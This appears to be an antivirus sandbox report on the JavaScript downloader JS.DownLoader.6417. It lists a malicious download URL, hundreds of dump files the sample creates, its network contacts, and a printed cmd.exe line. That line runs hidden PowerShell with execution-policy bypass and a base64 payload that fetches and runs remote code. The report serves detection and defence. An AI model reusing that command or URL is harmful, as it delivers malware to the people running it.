JS.DownLoader.6417

Technical Information

Malicious functions

Downloads

https://erzurum.us/65376345273497600381/tjtyjrjywrdmjoaaenvf/dll/assistant.php

Modifies file system

Creates the following files

%TEMP%\content\1592-4192-wscript.exe-19-49-48-968.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-930.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-182.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-158.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-137.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-110.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-099.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-026.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-721.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-203.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-487.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-366.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-346.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-299.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-218.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-212.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-185.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-123.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-098.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-381.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-59-008.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-342.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-377.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-087.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-052.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-031.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-013.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-998.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-983.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-956.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-944.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-862.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-916.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-891.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-806.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-755.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-733.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-642.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-615.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-589.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-400.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-00-228.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-978.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-917.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-885.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-797.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-700.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-680.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-603.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-587.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-539.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-261.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-949.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-730.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-816.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-835.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-589.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-565.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-544.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-517.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-413.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-363.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-341.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-617.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-870.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-794.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-005.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-833.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-271.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-574.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-516.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-483.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-445.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-405.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-389.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-365.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-354.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-229.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-57-881.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-203.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-169.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-115.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-103.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-080.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-046.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-58-010.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-304.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-639.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-116.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-569.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-877.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-834.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-805.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-787.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-763.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-715.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-670.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-641.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-03-645.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-630.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-447.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-212.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-125.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-056.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-047.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-026.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-03-994.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-03-903.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-548.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-03-768.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-901.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-06-177.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-07-346.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-07-324.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-07-307.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-07-284.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-07-260.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-06-958.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-06-784.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-06-499.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-986.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-04-960.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-06-123.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-06-039.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-05-892.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-05-616.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-05-540.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-05-145.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-05-059.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-05-044.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-06-360.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-03-105.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-03-062.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-677.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-609.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-999.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-969.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-933.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-918.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-884.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-789.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-734.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-125.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-037.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-061.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-495.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-451.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-340.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-281.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-238.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-224.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-203.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-550.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-180.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-984.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-151.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-018.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-930.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-876.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-855.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-808.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-764.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-729.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-682.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-660.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-630.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-608.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-521.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-468.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-407.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-364.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-321.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-284.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-264.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-02-209.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-01-184.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-044.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-56-002.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-939.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-075.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-254.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-223.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-201.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-180.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-125.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-111.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-095.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-318.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-287.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-868.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-009.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-993.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-981.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-956.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-945.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-913.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-889.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-029.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-040.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-380.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-853.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-936.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-923.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-907.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-880.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-853.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-838.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-809.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-359.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-974.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-783.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-624.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-605.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-587.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-544.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-495.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-476.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-401.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-720.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-659.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-790.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-751.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-657.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-373.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-350.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-340.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-311.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-290.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-280.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-757.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-261.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-212.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-192.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-166.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-147.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-107.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-076.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-053.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-019.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-226.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-797.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-832.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-572.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-866.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-614.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-186.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-553.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-505.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-473.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-405.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-377.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-242.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-216.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-205.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-166.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-722.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-143.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-110.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-076.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-056.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-036.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-50-014.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-49-911.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-032.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-060.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-51-267.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-075.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-845.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-395.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-800.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-768.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-723.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-691.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-609.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-539.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-520.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-921.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-874.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-887.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-881.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-853.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-820.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-798.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-775.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-756.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-734.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-014.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-998.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-876.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-720.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-142.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-871.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-841.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-826.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-773.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-699.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-602.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-575.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-467.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-390.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-354.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-332.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-305.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-272.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-227.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-166.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-128.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-110.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-55-078.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-54-279.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-03-081.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-07-384.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-655.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-908.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-880.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-869.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-836.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-784.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-766.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-715.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-959.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-643.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-594.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-542.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-516.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-476.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-399.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-265.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-230.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-161.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-606.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-986.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-52-915.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-008.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-632.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-418.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-601.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-595.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-576.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-556.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-511.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-501.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-485.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-465.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-391.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-055.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-347.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-326.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-270.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-240.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-215.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-194.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-104.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-081.dump
%TEMP%\content\1592-4192-wscript.exe-19-49-53-696.dump
%TEMP%\content\1592-4192-wscript.exe-19-50-07-438.dump

Network activity

Connects to

'er##rum.us':443

UDP

DNS ASK er##rum.us

Miscellaneous

Searches for the following windows

ClassName: 'OleMainThreadWndClass' WindowName: ''

Creates and executes the following

'<SYSTEM32>\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBl...' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBl...

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней